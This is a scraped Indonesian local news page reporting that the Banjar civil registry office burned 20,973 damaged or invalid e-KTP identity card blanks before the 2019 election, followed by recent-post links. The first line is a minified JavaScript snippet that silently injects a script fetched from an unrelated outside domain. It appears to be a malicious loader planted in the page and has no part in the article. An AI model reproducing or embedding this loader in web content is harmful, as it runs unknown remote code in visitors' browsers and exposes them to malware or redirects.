(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

20.973 e-KTP Rusak Maupun Invalid Dimusnahkan Disdukcapil Banjar


MARTAPURA, Berdasarkan surat edaran Mentri dalam Negri Nomor 471.13/24149/Dukcapil tanggal 17 Desember 2018, Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Banjar gelar pemusnahan ribuan keping blangko e-KTP yang rusak dan invalid di halaman Disdukcapil Banjar, Jumat (21/12).

Kepala Dinas Disdukcapil Kabupaten Banjar Azwar mengatakan adapun e-KTP yang rusak dan invalid tersebut berjumlah 20.973 keping. Pembakaran tersebut menyusul instruksi Kemendagri untuk memusnahkan e-KTP rusak maupun invalid sehingga tidak dipergunakan untuk tujuan kriminalitas maupun pelanggaran pemilu 2019.

“Pemusnahan ini kita lakukan menyusul intruksi Kemendagri agar tidak dipergunakan untuk tujuan pelanggaran pemilu 2019 mendatang,” akunya.

Lebih jauh Azwar mengatakan, e-KTP yang invalid dan rusak tersebut sebelumnya hanya dikumpulkan dan dilakukan pemotongan sebelum dikirim ke pusat sejak akumulasi selama tahun 2012 yang lalu. Namun, seiring maraknya kasus kececer di beberapa daerah, membuat pemerintah pusat menginstrusikan pembakaran sampai e-KTP yang invalid dan rusak tak tersisa lagi.

Ketika ditanya awak media mengapa Disdukcapil Banjar agak terlambat jika dibandingkan daerah lain untuk melakukan pemusnahan e-KTP yang invalid dan rusak tersebut, Azwar menjelaskan dalam pengumpulan e-KTP yang invalid dan rusak memang membutuhkan waktu yang tidak singkat. Mengingat daerah yang tersebar di Kabuapten Banjar mempunyai jarak yang tak dekat.

“Sebenarnya bukan terlambat, namun kita harus mengumpulkan e-KTP yang invalid dan rusak tersebut terlebih dahulu dari 20 Kecamatan yang berada di Kabupaten Banjar sehingga itu memakan memerlukan sedikit waktu,” pungkasnya.

Sementara itu tanggapan serupa juga diutarakan Bupati Banjar KH Khalilurrahman yang mengatakan  adapun e-KTP yang invalid dan rusak tersebut sebagai dalam upaya menghindari hal-hal yang tidak diinginkan terlebih dengan tujuan pelanggaran saat pemilu tahun pemilu.

“Saya mengharapkan dengan dilakukannya pemusnakah yang dilakukan oleh Disdukcapil Banjar ini mampu meminimalisir dan menghindari hal-hal yang tidak diinginkan, terlebih ditahun pemilu ini,” ujarnya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.